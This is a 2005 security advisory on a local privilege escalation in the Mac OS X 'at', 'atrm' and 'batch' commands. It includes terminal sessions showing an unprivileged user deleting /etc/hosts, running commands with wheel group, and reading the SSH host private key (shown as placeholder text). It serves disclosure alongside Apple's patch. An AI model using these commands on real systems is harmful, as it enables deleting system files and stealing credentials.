DMA[2005-0127a] - 'Apple OSX batch family poor use of setuid'
Author: Kevin Finisterre
Vendor: http://www.apple.com/macosx/
Product: * at commands <= Mac OS X v10.3.7, Mac OS X Server v10.3.7

References: (CAN-2005-0125)
http://www.digitalmunition.com/DMA[2005-0127a].txt
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0125
http://lists.apple.com/archives/security-announce/2005/Jan/msg00001.html
http://www.apple.com/support/downloads/securityupdate2005001macosx1028client.html
http://docs.info.apple.com/article.html?artnum=300770
http://www.immunitysec.com/downloads/nukido.pdf
http://www.immunitysec.com/downloads/nukido.sxw

Description: 
Mac OS X v10.3 Panther offers breakthroughs in innovation and ease of use that won't 
be seen in other operating systems for years, if ever, while its UNIX-based core 
provides rock-solid security on the Internet.

On 1/25/2005 Apple published an advisory for the "at" commands to address a local 
privilege escalation vulnerability. The "at" family of commands did not properly drop 
privileges. This could allow a local user to remove files not owned by them, run programs 
with added privileges, or read the contents of normally unreadable files. The update 
patched the commands at, atrm, batch, atq, and atrun. 

The following session outlines the behavior that was reported. 

Please note that at, batch, atq, atrm are all disabled by default on Mac OS X.  Each 
of these commands depend on the execution of atrun which has been disabled due to power 
management concerns.  Those who would like to use these commands, must first re-enable 
/usr/libexec/atrun by removing the leading '#' from the line
#*/5    *       *       *       *       root    /usr/libexec/atrun
in the file /etc/crontab.  

'atrm' can be used to delete any file on the system. The atrm vulnerability does not 
depend upon atrun. 

CrunkJuice:~ kevinfinisterre$ id
uid=501(kevinfinisterre) gid=501(kevinfinisterre) groups=501(kevinfinisterre), 
79(appserverusr), 80(admin), 81(appserveradm)

CrunkJuice:~ kevinfinisterre$ rm /etc/hosts
override rw-r--r--  root/wheel for /etc/hosts? y
rm: /etc/hosts: Permission denied

CrunkJuice:~ kevinfinisterre$ ls -al /etc/hosts
-rw-r--r--  1 root  wheel  214  3 Dec 20:19 /etc/hosts

CrunkJuice:~ kevinfinisterre$ atrm /etc/hosts

CrunkJuice:~ kevinfinisterre$ ls -al /etc/hosts
ls: /etc/hosts: No such file or directory

'batch' can be used to execute commands as gid=0(wheel) groups=0(wheel), 1(daemon), 
2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) 

CrunkJuice:/tmp kevinfinisterre$ echo > aa
/usr/bin/id > /tmp/test

CrunkJuice:/tmp kevinfinisterre$ batch -f /tmp/aa 0
Job b0118490c.000 will be executed using /bin/sh

CrunkJuice:/tmp kevinfinisterre$ cat /tmp/test
cat: /tmp/test: No such file or directory

(wait 5 minutes)

CrunkJuice:/tmp kevinfinisterre$ cat /tmp/test
uid=501(kevinfinisterre) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys),
 4(tty), 5(operator), 20(staff), 31(guest), 80(admin)

'batch' can also be used to read any file on the system. 

CrunkJuice:~ kevinfinisterre$ cat /etc/ssh_host_dsa_key
cat: /etc/ssh_host_dsa_key: Permission denied

CrunkJuice:~ kevinfinisterre$ ls -al /etc/ssh_host_dsa_key
-rw-------  1 root  wheel  668 16 Nov 19:39 /etc/ssh_host_dsa_key

CrunkJuice:~ kevinfinisterre$ batch -f /etc/ssh_host_dsa_key
Job b011848db.000 will be executed using /bin/sh

CrunkJuice:~ kevinfinisterre$ ls -al /var/at/jobs/b011848db.000
-rwx------  1 kevinfin  wheel  1263  3 Dec 20:31 /var/at/jobs/b011848db.000

CrunkJuice:~ kevinfinisterre$ cat /var/at/jobs/b011848db.000
#! /bin/sh
# mail     root 0
umask 22
TERM_PROGRAM=Apple\_Terminal; export TERM_PROGRAM
SHELL=\/bin\/bash; export SHELL
TERM_PROGRAM_VERSION=100; export TERM_PROGRAM_VERSION
OLDPWD=\/var\/at\/jobs; export OLDPWD
USER=kevinfinisterre; export USER
__CF_USER_TEXT_ENCODING=0x1F5\:0\:0; export __CF_USER_TEXT_ENCODING
PATH=\/bin\:\/sbin\:\/usr\/bin\:\/usr\/sbin; export PATH
PWD=\/Users\/kevinfinisterre; export PWD
SHLVL=1; export SHLVL
HOME=\/Users\/kevinfinisterre; export HOME
LOGNAME=kevinfinisterre; export LOGNAME
SECURITYSESSIONID=20ee50; export SECURITYSESSIONID
cd /Users/kevinfinisterre
-----BEGIN DSA PRIVATE KEY-----
ascsefmwe;lijweio;fj23n8r01ur9wefskljvnsdlvsd;kvcms;dkmcv;sdklvm
dfbkldfmbdfp0bjerpgjwglvksdmvw430vgwevklmsdkvmasdvnqwefh3bnjnsek
6513515641w6egf4e65v4s6v54we65f4ae6f464b6464b6w4bw6e4bvgw6evgf4w
sdvsdfbgfgbndfdfvbsdfvsd5v46se8f4634f6w3f4q3f4sd35vf4sd3v4sd3v4s
ascsefmwe;lijweio;fj23n8r01ur9wefskljvnsdlvsd;kvcms;dkmcv;sdklvm
dfbkldfmbdfp0bjerpgjwglvksdmvw430vgwevklmsdkvmasdvnqwefh3bnjnsek
6513515641w6egf4e65v4s6v54we65f4ae6f464b6464b6w4bw6e4bvgw6evgf4w
sdvsdfbgfgbndfdfvbsdfvsd5v46se8f4634f6w3f4q3f4sd35vf4sd3v4sd3v4s
ereethamstahenkryption
-----END DSA PRIVATE KEY-----

Apple has released patches for this vulnerability, please see the 
references above. 

For the protection of its customers, Apple does not disclose, discuss,
or confirm security issues until a full investigation has occurred and
any necessary patches or releases are available. Apple likes to focus 
response efforts so that they have the greatest impact across
the product line, because of this they generally will not respond to 
e-mail messages unless further information is needed for a security 
issue.

This is timeline associated with this bug. 

12/20/2004 02:22 PM - initial response
01/03/2005 09:17 PM - followup
01/12/2005 02:56 PM - ...
01/13/2005 08:41 PM - ...
01/19/2005 12:16 AM - confirm credit
01/20/2005 12:13 PM - immunitysec nukido release

-KF